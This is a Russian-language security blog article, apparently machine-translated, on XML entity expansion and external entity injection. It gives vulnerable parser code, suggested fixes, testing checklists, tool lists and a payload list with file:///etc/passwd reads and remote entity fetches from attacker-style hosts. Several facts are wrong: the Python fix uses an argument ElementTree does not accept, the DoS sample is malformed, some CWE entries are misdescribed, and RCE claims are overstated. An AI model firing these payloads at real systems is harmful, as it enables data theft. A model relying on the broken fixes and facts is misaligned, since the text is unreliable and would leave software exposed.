06 Мар, 2023

Внедрение расширения сущности XML (XEE)

Vulnerability Assessment as a Service (VAaaS)

Tests systems and applications for vulnerabilities to address weaknesses.

Внедрение расширения сущности XML (XEE) это тип уязвимости безопасности, которая может возникнуть в приложениях на основе XML. Он включает в себя внедрение XML-объектов, которые представляют собой фрагменты кода, которые могут быть расширены и оценены анализатором XML, позволяя злоумышленнику выполнять произвольный код или получать доступ к конфиденциальным данным. Атаки с использованием XEE-инъекций могут возникать, когда входные XML-данные должным образом не проверены или не очищены, что позволяет включать и расширять вредоносные XML-объекты. Это может привести к различным типам атак, таким как атаки типа "отказ в обслуживании", раскрытие информации или даже удаленное выполнение кода. Чтобы предотвратить внедрение XEE, приложения должны проверять и очищать все входные данные XML, ограничивать использование внешних объектов и использовать безопасные анализаторы XML.

Пример уязвимого кода на разных языках программирования:


в Java:

				
					import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.DocumentBuilder;
import org.w3c.dom.Document;
import java.io.File;

public class XMLParser {
   public static void main(String[] args) {

      try {
         File inputFile = new File("input.xml");
         DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();
         DocumentBuilder dBuilder = dbFactory.newDocumentBuilder();
         Document doc = dBuilder.parse(inputFile);
         doc.getDocumentElement().normalize();

         System.out.println("Root element :" + doc.getDocumentElement().getNodeName());
      } catch (Exception e) {
         e.printStackTrace();
      }
   }
}

				
			


В приведенном выше коде XML-файл анализируется с помощью DocumentBuilderFactory и DocumentBuilder классы. Однако этот код уязвим для внедрения XEE, поскольку он не отключает обработку внешних объектов. Злоумышленник может включить вредоносный XML-объект во входной файл, который может быть расширен анализатором и выполнить произвольный код или получить доступ к конфиденциальным данным.

Чтобы предотвратить внедрение XEE в Java, перед анализом XML-файла следует добавить следующую строку:

				
					dbFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);


				
			


Это отключает обработку внешних объектов и предотвращает внедрение XEE.

• в PHP:

				
					$xml = simplexml_load_file("input.xml");
echo $xml->getName();

				
			

 

В приведенном выше PHP-коде XML-файл загружается с помощью simplexml_load_file функция. Однако этот код уязвим для внедрения XEE, поскольку функция не отключает обработку внешних объектов. Злоумышленник может включить вредоносный XML-объект во входной файл, который может быть расширен анализатором и выполнить произвольный код или получить доступ к конфиденциальным данным.

Чтобы предотвратить внедрение XEE в PHP, перед загрузкой XML-файла следует добавить следующую строку:

				
					libxml_disable_entity_loader(true);

				
			


Это отключает обработку внешних объектов и предотвращает внедрение XEE.

• в Python:

				
					import xml.etree.ElementTree as ET

tree = ET.parse('input.xml')
root = tree.getroot()

print(root.tag)

				
			

 

В приведенном выше коде Python XML-файл анализируется с помощью xml.etree.ElementTree модуль. Однако этот код уязвим для внедрения XEE, поскольку модуль не отключает обработку внешних объектов. Злоумышленник может включить вредоносный XML-объект во входной файл, который может быть расширен анализатором и выполнить произвольный код или получить доступ к конфиденциальным данным.

Чтобы предотвратить внедрение XEE в Python, перед анализом XML-файла следует добавить следующую строку:

				
					ET.parse('input.xml', parser=ET.XMLParser(target=ET.TreeBuilder(), resolve_entities=False))

				
			


Это отключает обработку внешних объектов и предотвращает внедрение XEE.

Примеры использования внедрения XML Entity Expansion (XEE)

Атака типа "Отказ в обслуживании" (DoS):

Злоумышленник может создать вредоносный XML-файл, содержащий большое количество ссылок на сущности, в результате чего анализатор XML будет расширять их и потреблять большой объем памяти и ресурсов процессора, что приведет к атаке типа "отказ в обслуживании" (DoS).

Пример XML-файла:

				
					<!DOCTYPE test [
  <!ENTITY a "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"]>
]>
<test>&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;</test>

				
			


Раскрытие информации:

Злоумышленник может создать вредоносный XML-файл, содержащий ссылку на внешний объект для конфиденциального файла на сервере, например /etc/passwd, который может быть расширен анализатором XML и раскрыть содержимое файла злоумышленнику.

Пример XML-файла:

				
					<!DOCTYPE test [
  <!ENTITY passwd SYSTEM "file:///etc/passwd">
]>
<test>&passwd;</test>

				
			


Удаленное выполнение кода:

Злоумышленник может создать вредоносный XML-файл, содержащий ссылку на внешний объект, на удаленный сервер, обслуживающий вредоносный XML-файл, который может быть расширен с помощью анализатора XML и выполнить произвольный код в системе жертвы.

Пример XML-файла:

				
					<!DOCTYPE test [
  <!ENTITY remote SYSTEM "http://attacker.com/malicious.xml">
]>
<test>&remote;</test>

				
			

Методы повышения привилегий для внедрения расширения сущности XML (XEE)

Перейти к корню:

Если анализатор XML запущен с повышенными привилегиями, такими как root или SYSTEM, злоумышленник может использовать внедрение XEE для чтения конфиденциальных файлов, таких как файлы конфигурации, и использовать полученную информацию для повышения привилегий до root или SYSTEM.

Доступ к конфиденциальным данным:

Злоумышленник может использовать внедрение XEE для доступа к конфиденциальным данным, таким как пароли или другая информация аутентификации, которые затем могут быть использованы для повышения привилегий для получения доступа к другим системам или ресурсам.

Удаленное выполнение кода:

Как упоминалось ранее, злоумышленник может использовать внедрение XEE для выполнения произвольного кода в системе жертвы, который может быть использован для повышения привилегий, например, путем выполнения команды с повышенными привилегиями.

Обход средств контроля безопасности:

Злоумышленник может использовать внедрение XEE для обхода средств контроля безопасности, таких как проверка входных данных или контроль доступа, и получить доступ к ресурсам или функциям, которые в противном случае были бы ограничены.

Изменение системных настроек:

Злоумышленник может использовать внедрение XEE для изменения системных параметров, таких как отключение элементов управления безопасностью или добавление нового пользователя с повышенными привилегиями, которые могут быть использованы для повышения привилегий и получения более широкого доступа к системе.

Общая методология и контрольный список для внедрения расширения сущности XML (XEE)

Методология:

  1. Определите цель: Определите приложение или систему, которые используют XML и могут быть уязвимы для внедрения XEE.

  2. Понимание синтаксического анализатора XML: Понимать анализатор XML, используемый целевым приложением или системой, включая его возможности и ограничения.

  3. Разработка тестовых примеров: Разработайте тестовые примеры для проверки уязвимостей внедрения XEE, такие как отправка полезной нагрузки XML, содержащей ссылки на объекты, и наблюдение за ответом целевого объекта.

  4. Тест на отказ в обслуживании: Проверьте наличие уязвимостей типа "отказ в обслуживании" (DoS), отправив полезную нагрузку XML, содержащую большое количество ссылок на объекты, и наблюдая за ответом целевого объекта.

  5. Тест на раскрытие информации: Проверьте наличие уязвимостей при раскрытии информации, отправив полезные XML-файлы, содержащие ссылки на объекты, к конфиденциальным файлам и наблюдая за ответом целевого объекта.

  6. Тест на удаленное выполнение кода: Проверьте уязвимости удаленного выполнения кода, отправив полезные XML-файлы, содержащие ссылки на сущности, на удаленный сервер, контролируемый злоумышленником, и наблюдая за ответом цели.

  7. Тест на повышение привилегий: Проверьте уязвимости на предмет повышения привилегий, используя внедрение XEE для повышения привилегий, например, при доступе к конфиденциальным файлам или изменении системных настроек.

  8. Проверять и сообщать: Проверьте все обнаруженные уязвимости и сообщите о них соответствующим сторонам, таким как поставщик приложений или систем или организация, ответственная за тестирование безопасности.

Контрольный список:

  1. Определите анализатор XML, используемый целевым приложением или системой.

  2. Проверьте возможность обработки XML external entity (XXE) и задокументируйте любые результаты.

  3. Проверьте уязвимости при внедрении XEE, отправив полезные нагрузки XML, содержащие ссылки на объекты, и наблюдая за ответом целевого объекта.

  4. Проверьте наличие уязвимостей DoS, отправив полезную нагрузку XML, содержащую большое количество ссылок на сущности, и наблюдая за ответом целевого объекта.

  5. Проверьте наличие уязвимостей при раскрытии информации, отправив полезные XML-файлы, содержащие ссылки на объекты, к конфиденциальным файлам и наблюдая за ответом целевого объекта.

  6. Проверьте уязвимости удаленного выполнения кода, отправив полезные XML-файлы, содержащие ссылки на сущности, на удаленный сервер, контролируемый злоумышленником, и наблюдая за ответом цели.

  7. Проверьте уязвимости на предмет повышения привилегий, используя внедрение XEE для повышения привилегий, например, при доступе к конфиденциальным файлам или изменении системных настроек.

  8. Проверьте все обнаруженные уязвимости и сообщите о них соответствующим сторонам, таким как поставщик приложений или систем или организация, ответственная за тестирование безопасности.

  9. Используйте автоматизированные инструменты, такие как сканеры уязвимостей и инструменты фаззинга, чтобы помочь в процессе тестирования.

  10. Убедитесь, что тестирование проводится в контролируемой и безопасной среде, чтобы избежать любых непреднамеренных последствий, таких как DoS-атаки или несанкционированный доступ к конфиденциальной информации.

  11. Документируйте все действия по тестированию, включая тестовые примеры, выводы и рекомендации по исправлению.

  12. Периодически повторяйте тестирование, чтобы убедиться, что уязвимости были устранены и новые уязвимости не были внедрены.

Набор инструментов для эксплуатации Внедрение расширения сущности XML (XEE)

Ручные Инструменты:

  • Burp Suite: Популярный инструмент тестирования веб-приложений, который включает прокси, сканер и другие утилиты. Он имеет встроенный редактор XML, который позволяет проводить ручное тестирование уязвимостей, связанных с внедрением XEE.

  • XML External Entity (XXE) Injection Cheat Sheet: Всеобъемлющее руководство, включающее образцы полезных нагрузок и методы тестирования для инъекции XEE.

  • Xerxes XXE Editor: Редактор XML с открытым исходным кодом, который можно использовать для ручного тестирования уязвимостей XEE injection.

  • Oxygen XML Editor: Комплексный редактор XML, который включает функции для ручного тестирования уязвимостей, связанных с внедрением XEE.

  • Notepad++: Текстовый редактор с подсветкой синтаксиса XML, который можно использовать для ручного тестирования уязвимостей при внедрении XEE.

  • Firefox XML Developer Toolbar: Расширение для браузера, которое включает инструменты для тестирования уязвимостей при внедрении XML и XEE.

  • Chrome Developer Инструменты: Функция браузера, которая включает инструменты для тестирования уязвимостей при внедрении XML и XEE.

Автоматизированные инструменты:

  • OWASP ZAP: Инструмент тестирования безопасности веб-приложений с открытым исходным кодом, который включает в себя сканер уязвимостей XEE injection.

  • Acunetix: Инструмент тестирования безопасности веб-приложений, который включает в себя сканер уязвимостей, связанных с внедрением XEE.

  • Netsparker: Инструмент тестирования безопасности веб-приложений, который включает в себя сканер уязвимостей, связанных с внедрением XEE.

  • AppScan: Инструмент тестирования безопасности веб-приложений, который включает в себя сканер уязвимостей, связанных с внедрением XEE.

  • Nmap: Инструмент исследования сети и аудита безопасности, который включает в себя сценарий для тестирования уязвимостей, связанных с внедрением XEE.

  • sqlmap: Популярный инструмент тестирования SQL-инъекций, который включает в себя функциональность для тестирования уязвимостей XEE-инъекций.

  • Metasploit: Комплексная платформа тестирования на проникновение, включающая модули для тестирования уязвимостей, связанных с внедрением XEE.

  • Skipfish: Инструмент тестирования безопасности веб-приложений, который включает в себя сканер уязвимостей, связанных с внедрением XEE.

  • Arachni: Инструмент тестирования безопасности веб-приложений, который включает в себя сканер уязвимостей, связанных с внедрением XEE.

  • Vega: Инструмент тестирования безопасности веб-приложений, который включает в себя сканер уязвимостей, связанных с внедрением XEE.

  • Burp Suite Pro: Профессиональная версия Burp Suite, которая включает в себя сканер уязвимостей для внедрения XEE.

  • WebScarab: Инструмент тестирования безопасности веб-приложений с открытым исходным кодом, который включает в себя сканер уязвимостей XEE injection.

  • Qualys: Облачный инструмент тестирования безопасности веб-приложений, который включает в себя сканер уязвимостей, связанных с внедрением XEE.

Средний балл CVSS внедрение расширения сущности stack XML (XEE)

Общая система оценки уязвимостей (CVSS) - это стандартизированная система, используемая для оценки серьезности уязвимостей в программных системах. Оценка CVSS варьируется от 0 до 10, причем более высокие оценки указывают на более серьезные уязвимости.

Средний балл CVSS для уязвимостей, связанных с внедрением XEE, может сильно варьироваться в зависимости от конкретной уязвимости и системы или приложения, в котором она обнаружена. Степень уязвимости при внедрении XEE может варьироваться от низкой до критической, в зависимости от влияния, которое они оказывают на систему или приложение.

Как правило, уязвимости с внедрением XEE, которые позволяют злоумышленнику считывать конфиденциальную информацию или вызывать атаку типа "отказ в обслуживании" (DoS), как правило, имеют более низкие оценки CVSS, обычно в диапазоне от 4 до 6. Более серьезные уязвимости с внедрением XEE, которые позволяют злоумышленнику выполнять произвольный код или получать административный доступ к системе, могут иметь более высокие оценки CVSS, обычно в диапазоне от 7 до 10.

Однако важно отметить, что оценка CVSS - это всего лишь один фактор, который следует учитывать при оценке серьезности уязвимости. Другие факторы, такие как потенциальное воздействие на организацию и вероятность эксплуатации, также следует принимать во внимание при определении серьезности уязвимости и приоритизации усилий по устранению.

Общее перечисление слабых мест (CWE)

• CWE-611: Неправильное ограничение ссылки на внешние объекты XML – это CWE относится к уязвимости, при которой приложение использует внешние объекты в XML-документе без их надлежащей проверки или очистки, что позволяет злоумышленнику вводить произвольный код в XML-документ.

• CWE-78: Неправильная нейтрализация специальных элементов, используемых в ссылке на внешнюю сущность XML – этот CWE похож на CWE-611, но конкретно относится к уязвимости, при которой приложение неправильно нейтрализует специальные символы в ссылке на внешнюю сущность XML, что может позволить злоумышленнику вводить произвольный код.

• CWE-91: внедрение XML (также известное как слепое внедрение XPath) – это CWE относится к уязвимости, при которой приложение неправильно проверяет вводимые пользователем данные, используемые для построения запроса XPath, что позволяет злоумышленнику вводить вредоносный код в запрос и потенциально выполнять произвольные команды на сервере.

• CWE-129: Неправильная проверка индекса массива – этот CWE относится к уязвимости, при которой приложение неправильно проверяет вводимые пользователем данные, используемые в качестве индекса массива, что может позволить злоумышленнику читать или записывать данные за пределами массива.

• CWE-190: целочисленное переполнение или обтекание – это CWE относится к уязвимости, при которой приложение выполняет арифметические операции с целыми числами без надлежащей проверки входных данных, что может привести к целочисленному переполнению или обтеканию и потенциально позволить злоумышленнику выполнить произвольный код.

• CWE-434: Неограниченная загрузка файла с опасным типом – этот CWE относится к уязвимости, при которой приложение позволяет пользователям загружать файлы без надлежащей проверки типа файла, что может позволить злоумышленнику загрузить вредоносный файл и потенциально выполнить произвольный код.

• CWE-440: Ожидаемое нарушение поведения – это CWE относится к уязвимости, при которой приложение ведет себя таким образом, что нарушает его ожидаемое поведение, потенциально позволяя злоумышленнику использовать систему.

• CWE-601: Перенаправление URL на ненадежный сайт (‘Open Redirect’) – Этот CWE относится к уязвимости, при которой приложение перенаправляет пользователей на ненадежный веб-сайт, потенциально позволяя злоумышленнику использовать систему.

• CWE-862: отсутствует авторизация – этот CWE относится к уязвимости, при которой приложение не выполняет надлежащую аутентификацию или авторизацию пользователей, что потенциально позволяет злоумышленнику получить несанкционированный доступ к конфиденциальным данным или функциям.

• CWE-937: Неправильный контроль имени файла для инструкции Include / Require в программе PHP – Этот CWE относится к уязвимости, при которой приложение включает или требует файл на основе пользовательского ввода, потенциально позволяя злоумышленнику выполнять произвольный код, манипулируя именем файла.

CVE, связанные с внедрением расширения сущности XML (XEE)

• CVE-2015-5161 – Zend_Xml_Security::scan в ZendXml до версии 1.0.1 и Zend Framework до версии 1.12.14, 2.x до версии 2.4.6 и 2.5.x до версии 2.5.2 при запуске под управлением PHP-FPM в потоковой среде позволяет удаленным злоумышленникам обходить проверки безопасности и проводить атаки XML external entity (XXE) и XML entity expansion (XEE) с использованием многобайтовых кодированных символов.

Внедрение расширения сущности XML (XEE) подвиги

  • Атака на миллиард Смехов – Этот эксплойт представляет собой тип атаки XEE, которая использует большое количество вложенных ссылок на объекты для потребления системных ресурсов и потенциального сбоя сервера.

  • Ввод объекта параметра – Этот эксплойт использует возможность определения объектов в DTD, позволяя злоумышленнику внедрять вредоносный код, определяя объект параметра и ссылаясь на него в XML-документе.

  • Отравление XML-схемой – Этот эксплойт использует возможность включения XML-схем в XML-документ, позволяя злоумышленнику внедрять вредоносный код, определяя схему, которая ссылается на внешние объекты.

  • Внедрение XPath – Этот эксплойт использует возможность создавать запросы XPath в XML-документе, позволяя злоумышленнику внедрять вредоносный код, манипулируя запросом для выполнения произвольных команд на сервере.

  • XXE Инъекция через Загрузку файла – Этот эксплойт использует возможность загрузки файлов на сервер, позволяя злоумышленнику загружать специально созданный XML-файл, который включает внешние объекты и выполняет произвольный код при анализе сервером.

  • Слепая инъекция XXE – Этот эксплойт использует возможность включения внешних объектов в XML-документ, позволяя злоумышленнику внедрить вредоносный код, который не виден в выходных данных приложения.

  • Изменение параметров – Этот эксплойт использует возможность передачи параметров приложению, позволяя злоумышленнику манипулировать значениями этих параметров для выполнения произвольного кода на сервере.

  • Внедрение атрибутов XML – Этот эксплойт использует возможность определения атрибутов в XML-документе, позволяя злоумышленнику внедрить вредоносный код, определив атрибут, который включает внешние объекты.

  • Включить Инъекцию – Этот эксплойт использует возможность включения внешних ресурсов в XML-документ с использованием стандарта XInclude, позволяя злоумышленнику включить вредоносный код, который выполняется при анализе документа.

  • Изменение параметров SOAP – Этот эксплойт использует возможность передачи параметров веб-службе SOAP, позволяя злоумышленнику манипулировать значениями этих параметров для выполнения произвольного кода на сервере.

Практикуясь в тестировании на Внедрение расширения сущности XML (XEE)

Создание уязвимого веб-приложения: создайте простое веб-приложение, которое принимает входные данные XML и анализирует их без надлежащего контроля безопасности. Это позволит вам протестировать различные методы введения XEE в вашем собственном приложении в безопасной среде.

Использование уязвимого приложения: существует несколько уязвимых веб-приложений, доступных в Интернете, которые предназначены для использования. Эти приложения обеспечивают безопасную среду для отработки методов инъекции XEE.

Используйте онлайн-ресурсы: существует несколько доступных онлайн-ресурсов, которые предоставляют образцы XML-файлов и учебные пособия по их использованию. Эти ресурсы могут помочь вам понять методы введения XEE и способы их тестирования.

Присоединяйтесь к хакерскому сообществу: присоединяйтесь к сообществу этичных хакеров, которые заинтересованы в тестировании инъекций XEE. Эти сообщества часто предоставляют ресурсы, учебные пособия и отзывы о ваших методах тестирования.

Посещать учебные курсы: посещайте учебные курсы, которые охватывают методы тестирования инъекций XEE. Эти курсы часто предоставляют практический опыт и отзывы о ваших методах тестирования.

Используйте автоматизированные инструменты тестирования: используйте инструменты автоматизированного тестирования, такие как OWASP ZAP или Burp Suite, для проверки уязвимостей, связанных с внедрением XEE. Эти инструменты могут сэкономить время и предоставить ценную информацию об уязвимостях, присутствующих в вашем веб-приложении.

Присоединяйтесь к программам вознаграждения за ошибки: присоединяйтесь к программам вознаграждения за ошибки, которые предлагают вознаграждение за поиск уязвимостей в веб-приложениях. Это может дать возможность попрактиковаться в ваших методах тестирования инъекций XEE и потенциально заработать немного денег в процессе.

Для изучения Внедрения расширения сущности XML (XEE)

OWASP XML Шпаргалка по предотвращению внешних объектов – Эта шпаргалка содержит исчерпывающее руководство по предотвращению атак XEE.

Проект OWASP Top 10 – Проект OWASP Top 10 - это хорошо известный ресурс, который предоставляет список 10 основных рисков безопасности веб-приложений, включая внедрение XEE.

Вики - внедрение XML – The XML Injection Wiki предоставляет информацию о различных методах внедрения XML, включая внедрение XEE.

Руководство хакера веб-приложений – The Web Application Hacker's Handbook - это всеобъемлющее руководство по тестированию безопасности веб-приложений, включая методы тестирования на внедрение XEE.

Взлом открытых веб-приложений – Hacking Exposed Web Applications - практическое руководство по тестированию безопасности веб-приложений, включая методы тестирования на внедрение XEE.

Учебное пособие по XML – W3Schools предоставляет исчерпывающее руководство по XML, включая информацию о том, как предотвратить атаки XEE.

Обучающие программы YouTube – Есть несколько каналов YouTube, которые предоставляют учебные пособия по методам тестирования инъекций XEE, включая OWASP и HackerSploit.

Онлайн-курсы – Несколько онлайн-курсов обеспечивают обучение тестированию безопасности веб-приложений, включая тестирование XEE injection. Udemy и Coursera - популярные платформы, предлагающие такие курсы.

Соревнования "Захват флага" (CTF) – Участие в соревнованиях CTF может дать практический опыт с методами тестирования инъекций XEE.

Программы вознаграждения за ошибки – Участие в программах вознаграждения за ошибки может предоставить возможность попрактиковаться в методах тестирования на внедрение XEE и потенциально заработать деньги на поиске уязвимостей в веб-приложениях.

Книги с обзором внедрения XML Entity Expansion (XEE)

“Взломанные веб-приложения: Секреты и решения безопасности веб-приложений” автор: Джоэл Скамбрей, Винсент Лью и Калеб Сима – Эта книга представляет собой всеобъемлющее руководство по безопасности веб-приложений, включая методы тестирования и предотвращения внедрения XEE.

“Руководство хакера веб-приложений: поиск и использование недостатков безопасности” Дэфидд Штуттард и Маркус Пинто – Эта книга представляет собой практическое руководство по тестированию безопасности веб-приложений, включая методы тестирования на внедрение XEE.

“Веб-безопасность, конфиденциальность и коммерция” Симсон Гарфинкель и Джин Спаффорд – В этой книге представлен всеобъемлющий обзор веб-безопасности, включая информацию о предотвращении XEE-атак.

“Защита веб-служб с помощью WS-Security: демистификация WS-Security, WS-политики, SAML, подписи XML и шифрования XML” автор: Джоти Розенберг и Дэвид Реми – Эта книга посвящена обеспечению безопасности веб-сервисов, включая методы предотвращения внедрения XEE.

“XML-хаки: 100 советов и инструментов для промышленного применения” Майкл Фитцджеральд – Эта книга содержит советы и инструменты для работы с XML, включая информацию о предотвращении XEE-атак.

“Уязвимости веб-приложений: обнаружение, использование, предотвращение” автор Стивен Палмер – Эта книга представляет собой практическое руководство по тестированию безопасности веб-приложений, включая методы тестирования на внедрение XEE.

“Безопасность веб-приложений: руководство для начинающих” Брайан Салливан и Винсент Лью – Эта книга представляет собой руководство для начинающих по безопасности веб-приложений, включая информацию о предотвращении XEE-атак.

“Безопасность для веб-разработчиков: использование JavaScript, HTML и CSS” Джон Пол Мюллер – В этой книге представлена информация о защите веб-приложений, включая методы предотвращения XEE-атак.

“Инженерия безопасности: руководство по созданию надежных распределенных систем” Росс Андерсон – Эта книга представляет собой всеобъемлющее руководство по созданию защищенных систем, включая методы предотвращения XEE-атак.

“Основные шаблоны безопасности: лучшие практики и стратегии для J2EE, веб-служб и управления идентификацией” Кристофер Стил и Рамеш Нагаппан – В этой книге представлены лучшие практики и стратегии построения защищенных систем, включая методы предотвращения атак XEE.

Внедрение списка полезных нагрузок XML Entity Expansion (XEE)

  1. <!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> Эта полезная нагрузка определяет внешний объект с именем xxe, который извлекает содержимое файла /etc/passwd.

  2. <!DOCTYPE test [<!ENTITY xxe SYSTEM "http://example.com/evil.xml">]> Эта полезная нагрузка определяет внешний объект с именем xxe, который извлекает содержимое вредоносного XML-файла, размещенного на удаленном сервере.

  3. <!DOCTYPE test [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">]> Эта полезная нагрузка определяет внешний объект с именем xxe, который извлекает закодированное в base64 содержимое index.php файл с использованием PHP-фильтра.

  4. <!DOCTYPE test [<!ENTITY xxe SYSTEM "javascript:alert('XSS')"/>]> Эта полезная нагрузка определяет внешний объект с именем xxe, который выполняет атаку XSS путем внедрения окна предупреждения JavaScript в XML-документ.

  5. <!DOCTYPE test [<!ENTITY % xxe SYSTEM "file:///etc/passwd">%xxe;]> Эта полезная нагрузка определяет объект параметра с именем xxe, который извлекает содержимое файла /etc/passwd.

  6. <!DOCTYPE test [<!ENTITY xxe SYSTEM "php://input">]> Эта полезная нагрузка определяет внешний объект с именем xxe, который извлекает содержимое тела HTTP-запроса.

Как быть защищенным от внедрения XML Entity Expansion (XEE)

  1. Используйте безопасный анализатор XML: Убедитесь, что используемый анализатор XML безопасен и не допускает расширения внешних объектов.

  2. Используйте проверку входных данных: Внедрите надлежащие методы проверки входных данных и фильтрации, чтобы гарантировать, что пользовательский ввод не содержит вредоносного XML-кода.

  3. Используйте белый список: Используйте белый список известных безопасных объектов XML и запрещайте любые другие объекты.

  4. Используйте параметризованные запросы: Используйте параметризованные запросы при создании XML-документов, чтобы избежать встраивания пользовательского ввода непосредственно в XML-документ.

  5. Отключить расширение внешнего объекта: Отключите расширение внешней сущности в конфигурации анализатора XML.

  6. Используйте проверку XML-схемы: Внедрите проверку схемы XML, чтобы убедиться, что XML-документы соответствуют определенной схеме, и отклоните все, что не соответствует.

  7. Очистка пользовательского ввода: Очистите пользовательский ввод, чтобы удалить любой потенциально вредоносный контент, такой как XML-объекты и теги.

  8. Поддерживайте программное обеспечение в актуальном состоянии: Обновляйте все программное обеспечение и библиотеки, использующие анализаторы XML, с помощью последних исправлений безопасности.

  9. Ограничение прав доступа к файлам: Ограничьте разрешения файловой системы сервера, на котором размещены XML-документы, чтобы ограничить доступ к конфиденциальным файлам.

  10. Используйте брандмауэр веб-приложений (WAF): Внедрите WAF, который может обнаруживать и блокировать атаки на расширение сущности XML путем анализа входящих HTTP-запросов и ответов.

Меры по смягчению последствий внедрения XML Entity Expansion (XEE)

  1. Выберите анализатор XML, который имеет безопасные значения по умолчанию и настроен на запрет расширения внешних объектов по умолчанию.

  2. Отключите расширение внешней сущности в конфигурации анализатора XML либо глобально, либо для конкретных приложений.

  3. Внедрите надлежащие методы проверки входных данных и фильтрации, чтобы гарантировать, что пользовательский ввод не содержит вредоносного XML-кода.

  4. Внедрите проверку схемы XML, чтобы убедиться, что XML-документы соответствуют определенной схеме, и отклоните все, что не соответствует.

  5. Используйте параметризованные запросы при создании XML-документов, чтобы избежать встраивания пользовательского ввода непосредственно в XML-документ.

  6. Используйте белый список известных безопасных объектов XML и запрещайте любые другие объекты.

  7. Очистите пользовательский ввод, чтобы удалить любой потенциально вредоносный контент, такой как XML-объекты и теги.

  8. Обновляйте все программное обеспечение и библиотеки, использующие анализаторы XML, с помощью последних исправлений безопасности.

